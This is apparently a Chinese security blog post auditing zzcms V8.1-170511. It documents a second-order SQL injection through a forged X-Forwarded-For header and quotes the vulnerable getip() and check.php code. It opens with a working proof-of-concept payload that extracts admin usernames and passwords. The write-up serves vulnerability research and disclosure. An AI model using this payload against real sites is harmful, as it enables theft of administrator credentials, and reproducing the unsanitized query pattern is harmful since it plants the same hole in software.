p0's blog | 破 关注网络安全
zzcms_V8.1-170511 X-Forwarded-For二次注入
发表于: | 分类: 代码审计 | 评论:0 | 阅读: 785

0x01 POC

注册一个用户,访问/user/adv.php,添加X-Forwarded-Forip',qq=(select concat(admin,0x7c,pass) from zzcms_admin),email='p0@p0sec.net

payload1.png

用户中心:

payload2.png

0x02 代码分析

首先是inc/function.phpgetip()函数,存在IP伪造:

function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
} 

全局搜索调用此函数,并且入库的地方:

getip.png

存在多处,前台后台都存在,以user/check.php为例:

if (!$row){
    //if ($_COOKIE["UserName"]!=$_SESSION["UserName"] || $_COOKIE["PassWord"]!=$_SESSION["PassWord"]){//当记登录状态时,只有COOKIE,没有SESSION
    echo "<script>location.href='/user/login.php';</script>";
    }else{
    $row=fetch_array($rs);
    $usersf=$row['usersf'];//left.php中用
    $userid=$row['id'];//top中用
    $lastlogintime=$row['lastlogintime'];
    $password=$_COOKIE["PassWord"];
    query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
    if (strtotime(date("Y-m-d H:i:s"))-strtotime($lastlogintime)>3600*24){
    query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
    query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
    }
    query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间
}

直接调用getip()函数并且入库,我们直接访问/user/check.php发现报错:

check.png

因为没有nostr()这个函数,cms本身不需要直接访问check.php,那就去找调用check.php的地方:

include.png

很多地方包含的check.php,以/user/adv.php为例,便可得到一开始的payload

本文由p0原创,转载请注明出处http://p0sec.net/


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:http://p0sec.net/index.php/archives/105/
来源:http://p0sec.net/

添加新评论

TOP